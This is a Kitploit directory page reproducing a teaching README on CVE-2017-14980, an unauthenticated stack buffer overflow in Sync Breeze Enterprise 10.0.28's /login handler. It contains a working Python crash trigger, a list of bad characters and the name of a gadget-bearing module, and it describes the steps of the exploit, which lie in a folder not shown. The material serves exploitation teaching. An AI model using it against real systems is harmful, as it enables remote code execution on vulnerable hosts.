Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-14980 — Stack-based buffer overflow in Sync Breeze Enterprise 10.0.28 reachable through the /login handler, demonstrating how unchecked input length can corrupt stack memory. | Kitploit
Tools/GitHubGitHub/themalwareguardian/cve-2017-14980
Vulnerability AnalysisExploitationReverse EngineeringShellcodeWeb Application ExploitationDebuggersFuzzingLearning & EducationPayload Development

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Binary Exploitation
GitHubthemalwareguardian/cve-2017-14980

CVE-2017-14980

Stack-based buffer overflow in Sync Breeze Enterprise 10.0.28 reachable through the /login handler, demonstrating how unchecked input length can corrupt stack memory.

View Repository
15 months agoNot yet reviewed

🐞 CVE-2017-14980: Sync Breeze Enterprise 10.0.28 - Stack-Based Buffer Overflow

Stack-based buffer overflow in Sync Breeze Enterprise 10.0.28 reachable through the /login handler, demonstrating how unchecked input length can corrupt stack memory.




📑 Table of Contents

  • Why this repository exists
  • Why this vulnerability is interesting
  • Context and affected software
  • About the vulnerability
  • Triggering the crash
  • Exploitation



🎓 Why this repository exists

This repository is part of the material I use when teaching memory corruption exploitation (in addition to my regular work, I also teach in different cybersecurity courses where I help train the next generation of reverse engineers).

CVE-2017-14980 is a case I use when I want students to experience a vanilla EIP overwrite over HTTP rather than a raw TCP protocol. It looks simple at first, a login form, a long password, a crash, but the HTTP context introduces a set of bad characters that are not immediately obvious and that force students to think about how the data is being processed before it reaches the vulnerable buffer. Understanding why %, &, +, and = are bad chars here requires understanding URL encoding, which is a useful lesson on its own.




💡 Why this vulnerability is interesting

Sync Breeze Enterprise is a Windows file synchronization application that exposes a web management interface. The vulnerability is in the login handler, which copies the password field into a fixed-size stack buffer without length validation. What makes this case useful for teaching:

  • No authentication required. The overflow fires during login processing before any credential check takes place.
  • Direct EIP overwrite. No SEH, no heap, no multi-stage exploitation. The saved return address is overwritten directly.
  • HTTP context introduces non-obvious bad characters. Beyond the usual \x00, \x0a, and \x0d, the application/x-www-form-urlencoded content type adds \x25 (%), \x26 (&), \x2b (+), and \x3d (=) as bad chars because the server decodes the URL-encoded body before copying it to the buffer. Students who skip the bad char analysis and go straight to shellcode will get a payload that is silently corrupted before it reaches memory.
  • A reliable gadget in a module shipped with the application. libspp.dll, bundled with Sync Breeze, was compiled without ASLR, SafeSEH, or CFG, making the gadget address fixed across reboots.



🔍 Context and affected software

Sync Breeze Enterprise is a Windows file synchronization tool that includes a built-in web server for remote management. The web interface listens on TCP port 80 when enabled and exposes a login form at /login. The vulnerability is in the POST handler that processes the password field.

Key technical details:

  • Vulnerability type: Stack-based buffer overflow
  • Affected version: Sync Breeze Enterprise 10.0.28
  • Affected endpoint: POST /login, password parameter
  • Vulnerable component: Login form handler
Download Tool
  • Authentication required: No
  • Impact: Remote code execution



  • ⚠️ About the vulnerability

    Sync Breeze processes the login form by reading the POST body and extracting the password field. The value is copied into a fixed-size stack buffer without checking its length. A simplified version of the vulnerable logic looks like this:

    root@kitploit:~
    char password_buffer[256];
    
    strcpy(password_buffer, password_field);
    

    The POST body is URL-decoded before the copy takes place, which means characters like %25 are decoded to % before reaching the buffer. This is also why certain URL-special characters act as bad chars, they are interpreted by the HTTP layer before the data reaches the vulnerable copy operation. Sending a sufficiently long password value causes the copy to write past the end of the buffer, overwriting the saved return address. When the function returns, the CPU loads the attacker-controlled value from the stack into EIP and jumps to it.




    💥 Triggering the crash

    The crash can be reproduced by sending an oversized password in a POST request to /login. No authentication is required. Example using Python:

    root@kitploit:~
    import socket
    
    HOST = '127.0.0.1'
    PORT = 80
    
    payload = b"A" * 600
    
    body = b"username=admin&password=" + payload
    request = (
    	b"POST /login HTTP/1.1\r\n"
    	b"Host: 127.0.0.1\r\n"
    	b"Content-Type: application/x-www-form-urlencoded\r\n"
    	b"Content-Length: " + str(len(body)).encode() + b"\r\n"
    	b"Connection: close\r\n"
    	b"\r\n" +
    	body
    )
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.send(request)
    s.close()
    

    When executed under a debugger, the crash shows EIP overwritten with user-controlled data:

    root@kitploit:~
    EIP = 41414141
    

    confirming that the saved return address has been corrupted by the overflow.




    💣 Exploitation

    The goal of this repository is not only to demonstrate the crash, but to walk through the complete exploitation process step by step, from fuzzing to a working reverse shell.

    To keep the main README clean, the detailed exploitation notes, scripts, and debugger steps are placed inside the Vulnerability 📂 folder of this repository.

    There you will find the complete workflow used to exploit this CVE, including:

    • Fuzzing the password field to identify the crash.
    • Offset discovery to locate the exact position of EIP on the stack.
    • Bad character analysis for the URL-encoded POST body, including the HTTP-specific bad chars.
    • Locating a JMP ESP gadget in libspp.dll, a module compiled without ASLR or SafeSEH.
    • Shellcode placement and execution.